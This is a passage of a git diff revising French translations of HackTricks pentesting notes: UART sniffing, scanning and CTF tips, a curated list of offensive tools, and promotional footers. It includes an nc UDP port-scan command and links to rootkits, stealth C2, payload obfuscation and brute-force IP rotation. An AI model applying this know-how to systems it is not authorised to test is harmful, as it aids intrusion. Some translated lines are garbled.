un analyseur logique : -## Identification du débit en bauds UART +## Identification du débit binaire UART -La manière la plus simple d'identifier le bon débit en bauds est de regarder la sortie de la broche **TX et d'essayer de lire les données**. Si les données que vous recevez ne sont pas lisibles, passez au débit en bauds suivant jusqu'à ce que les données deviennent lisibles. Vous pouvez utiliser un adaptateur USB-vers-série ou un dispositif polyvalent comme Bus Pirate pour ce faire, associé à un script d'aide, tel que [baudrate.py](https://github.com/devttys0/baudrate/). Les débits en bauds les plus courants sont 9600, 38400, 19200, 57600 et 115200. +La manière la plus simple d'identifier le débit binaire correct est d'examiner la **sortie de la broche TX et d'essayer de lire les données**. Si les données que vous recevez ne sont pas lisibles, passez au débit binaire possible suivant jusqu'à ce que les données deviennent lisibles. Vous pouvez utiliser un adaptateur USB vers série ou un appareil polyvalent comme Bus Pirate pour cela, associé à un script d'aide, tel que [baudrate.py](https://github.com/devttys0/baudrate/). Les débits binaires les plus courants sont 9600, 38400, 19200, 57600 et 115200. {% hint style="danger" %} Il est important de noter que dans ce protocole, vous devez connecter le TX d'un appareil au RX de l'autre ! @@ -54,7 +54,7 @@ Il est important de noter que dans ce protocole, vous devez connecter le TX d'un # Bus Pirate -Dans ce scénario, nous allons espionner la communication UART de l'Arduino qui envoie toutes les impressions du programme au Moniteur Série. +Dans ce scénario, nous allons écouter la communication UART de l'Arduino qui envoie toutes les impressions du programme au Moniteur série. ```bash # Check the modes UART>m @@ -128,14 +128,14 @@ waiting a few secs to repeat.... ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/todo/misc.md b/todo/misc.md index 9fb35c9ab..9bb7eb08f 100644 --- a/todo/misc.md +++ b/todo/misc.md @@ -1,14 +1,14 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe télégramme**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -16,10 +16,10 @@ Autres moyens de soutenir HackTricks : Dans une réponse ping TTL :\ 127 = Windows\ 254 = Cisco\ -Le reste, un Linux quelconque +Le reste, un peu de Linux $1$- md5\ -$2$ ou $2a$ - Blowfish\ +$2$ou $2a$ - Blowfish\ $5$- sha256\ $6$- sha512 @@ -28,41 +28,40 @@ Si vous ne savez pas ce qui se cache derrière un service, essayez de faire une **Scans UDP**\ nc -nv -u -z -w 1 \ 160-16 -Un paquet UDP vide est envoyé à un port spécifique. Si le port UDP est ouvert, aucune réponse n'est renvoyée par la machine cible. Si le port UDP est fermé, un paquet ICMP port unreachable devrait être renvoyé par la machine cible.\ +Un paquet UDP vide est envoyé à un port spécifique. Si le port UDP est ouvert, aucune réponse n'est renvoyée par la machine cible. Si le port UDP est fermé, un paquet ICMP de port inaccessible devrait être renvoyé par la machine cible.\ -Le balayage des ports UDP est souvent peu fiable, car les pare-feu et les routeurs peuvent supprimer les paquets ICMP. Cela peut entraîner des faux positifs dans votre scan, et vous verrez régulièrement des scans de ports UDP indiquant que tous les ports UDP sont ouverts sur une machine analysée.\ -o La plupart des scanners de ports ne scannent pas tous les ports disponibles et ont généralement une liste prédéfinie de "ports intéressants" qui sont scannés. +Le balayage de ports UDP est souvent peu fiable, car les pare-feu et les routeurs peuvent rejeter les paquets ICMP. Cela peut entraîner des faux positifs dans votre analyse, et vous verrez régulièrement des balayages de ports UDP montrant tous les ports UDP ouverts sur une machine scannée.\ +o La plupart des scanners de ports ne scannent pas tous les ports disponibles, et ont généralement une liste prédéfinie de "ports intéressants" qui sont scannés. # CTF - Astuces Dans **Windows**, utilisez **Winzip** pour rechercher des fichiers.\ -**Flux de données alternatifs** : _dir /r | find ":$DATA"_\ +**Flux de données alternatifs** : _dir /r | find ":$DATA"_ ``` binwalk --dd=".*" #Extract everything binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000) ``` ## Crypto -**featherduster** +**featherduster**\ - -**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\ +**Base64**(6—>8) —> 0...9, a...z, A…Z,+,/\ **Base32**(5 —>8) —> A…Z, 2…7\ **Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\ -**Uuencode** --> Commence par "_begin \ \_" et caractères étranges\ +**Uuencode** --> Commence par "_begin \ \_" et des caractères bizarres\ **Xxencoding** --> Commence par "_begin \ \_" et B64\ \ **Vigenere** (analyse de fréquence) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\ -**Scytale** (décalage de caractères) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher) +**Scytale** (décalage des caractères) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher) **25x25 = QR** factordb.com\ rsatool -Snow --> Cache les messages en utilisant des espaces et des tabulations +Snow --> Cacher des messages en utilisant des espaces et des tabulations -# Caractères +# Characters %E2%80%AE => Caractère RTL (écrit les charges utiles à l'envers) @@ -71,12 +70,12 @@ Snow --> Cache les messages en utilisant des espaces et des tabulations Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/todo/more-tools.md b/todo/more-tools.md index 65b98dc37..184dc2243 100644 --- a/todo/more-tools.md +++ b/todo/more-tools.md @@ -1,15 +1,14 @@ -```markdown
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -19,7 +18,7 @@ Autres moyens de soutenir HackTricks : * [https://github.com/yarox24/attack\_monitor](https://github.com/yarox24/attack\_monitor) * [https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/](https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/) * [https://github.com/ION28/BLUESPAWN](https://github.com/ION28/BLUESPAWN) -* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : Vérifier les comptes divulgués +* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : Vérifiez les comptes divulgués * [https://github.com/rabobank-cdc/DeTTECT](https://github.com/rabobank-cdc/DeTTECT) # OSINT @@ -50,25 +49,25 @@ Autres moyens de soutenir HackTricks : * [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear) * [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/) * [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish) -* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Forcer brutalement les noms de domaine de manière asynchrone -* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Brute force de sous-domaines -* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Vérifier si les serveurs web dans un domaine sont accessibles +* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Force brute de noms de domaine de manière asynchrone +* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Force brute de sous-domaines +* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Vérifiez si les serveurs Web d'un domaine sont accessibles * [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Découverte de sous-domaines * [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : Découverte de sous-domaines dans github -* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Scan de ports rapide -* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Sous-domaines et URLs à partir de fichiers JS dans un web -* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Dictionnaire de fichiers web -* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : BurpExtension pour éviter des dizaines d'onglets répétiteurs -* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Obtenir des actifs +* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Balayage rapide des ports +* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Sous-domaines et URLs à partir de fichiers JS sur un site web +* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Dictionnaire de fichiers Web +* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : Extension Burp pour éviter des dizaines d'onglets répétés +* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Obtenir des ressources * [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks -* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Checklist BugBounty web -* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Vérifier une liste de domaines contre la redirection ouverte +* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Liste de contrôle Web BugBounty +* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Vérifiez une liste de domaines contre les redirections ouvertes * [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Plugin Burp, analyse hors ligne pour découvrir des domaines, sous-domaines et IPs * [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Liste de différents outils -* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Pluging BurpSuite pour trouver des vulnérabilités (SQLi, XSS, SSTI) +* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Plugin BurpSuite pour trouver des vulnérabilités (SQLi, XSS, SSTI) * [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Extension Chrome pour suivre les fonctions de post-messages -* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Tests d'authentification automatiques (supprimer les cookies et essayer d'envoyer la requête) -* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross est un outil de reconstruction, de scan et de test de pénétration / BugBounty. Cet outil a été construit pour tester les vulnérabilités (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) +* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Tests d'authentification automatiques (supprime les cookies et essaie d'envoyer la requête) +* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross est une Reconstruction, Scanner et un outil pour les tests de pénétration / BugBounty. Cet outil a été conçu pour tester les vulnérabilités (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) # Windows @@ -76,19 +75,19 @@ Autres moyens de soutenir HackTricks : * [https://freddiebarrsmith.com/trix/trix.html](https://freddiebarrsmith.com/trix/trix.html) : LOL bins * [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Persistance * [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Techniques d'injection de processus Windows -* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Scripts Red Team -* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : trouver des configurations incorrectes liées à la sécurité dans la politique de groupe Active Directory. +* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Scripts de l'équipe rouge +* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : trouver des configurations de sécurité incorrectes dans la stratégie de groupe Active Directory. * [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Obfuscation Securestring -* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Spoofing de PID parent +* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Spoofing du PID parent * [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Chiffrer les charges utiles Powershell * [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : C2 furtif -* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Série de logs sur les Internes de Windows +* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Série de journaux sur les internes de Windows * [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Suivre qui ouvre un document -* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Cheat Sheet Active Directory +* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Feuille de triche sur l'exploitation de l'Active Directory # Firmware -Outils qui semblent intéressants pour analyser les firmwares (automatiques) : +Outils que je trouve intéressants pour analyser les firmwares (automatiques) : * [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker) * [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core) @@ -99,44 +98,34 @@ Post-crème : * [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html) * [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html) -Comment extraire le firmware si on ne le trouve pas en ligne : [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4) +Comment extraire un firmware si vous ne le trouvez pas en ligne : [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4) Voici un firmware avec des vulnérabilités à analyser : [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat) -et ici la méthodologie OWASP pour analyser le firmware : [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm) +et voici la méthodologie OWASP pour analyser les firmwares : [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm) Émulation de firmware : FIRMADYNE (https://github.com/firmadyne/firmadyne/) est une plateforme pour automatiser l'émulation et l'analyse dynamique des firmwares basés sur Linux. -# OTHER +# AUTRE * [https://twitter.com/HackAndDo/status/1202695084543791117](https://twitter.com/HackAndDo/status/1202695084543791117) * [https://github.com/weev3/LKWA](https://github.com/weev3/LKWA) * [https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/](https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/) * [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw) -* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Analyse statique de code -* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF +* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Analyse statique du code +* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : CTF Bluetooth LE * [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : Piège SSH qui envoie lentement une bannière sans fin. * Outils AWS et Cloud : [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) -* IFS (Interplanetary File System) pour le phishing : [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/) +* IFS (Système de fichiers interplanétaire) pour le phishing : [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/) * Services de rotation d'IP : [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212) * Rootkit Linux : [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit) * [https://theia-ide.org/](https://theia-ide.org) : IDE en ligne -* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Ressources pour débuter dans les BugBounties -* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : Outils de pentesting IOS +* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Ressources pour commencer les BugBounties +* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : Outils de pentesting iOS * [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Mots-clés -* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Hacking IoT (Wifi, BLE, SSDP, MDNS) -* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : automatisation du scanning -* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Cette liste vise à couvrir les sujets liés à la sécurité d'Electron.js. +* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Piratage IoT (Wifi, BLE, SSDP, MDNS) +* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : automatisation du scan +* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Cette liste vise à couvrir les sujets liés à la sécurité Electron.js. * [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Infos sur les programmes BB - -
- -Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le +
diff --git a/todo/radio-hacking/flipper-zero/README.md b/todo/radio-hacking/flipper-zero/README.md index e0f6d506a..e58c26caa 100644 --- a/todo/radio-hacking/flipper-zero/README.md +++ b/todo/radio-hacking/flipper-zero/README.md @@ -2,9 +2,9 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** @@ -20,7 +20,7 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi *** -Avec [**Flipper Zero**](https://flipperzero.one/) vous pouvez : +Avec [**Flipper Zero**](https://flipperzero.one/), vous pouvez : * **Écouter/Capturer/Rejouer des fréquences radio:** [**Sub-GHz**](fz-sub-ghz.md)**** * **Lire/Capturer/Émuler des cartes NFC:** [**NFC**](fz-nfc.md)**** @@ -39,12 +39,11 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} -
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur 